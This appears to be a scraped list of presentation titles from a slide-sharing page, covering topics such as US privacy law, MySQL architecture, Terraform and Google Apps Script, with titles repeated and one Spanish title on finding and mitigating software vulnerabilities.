TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 

¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidades en software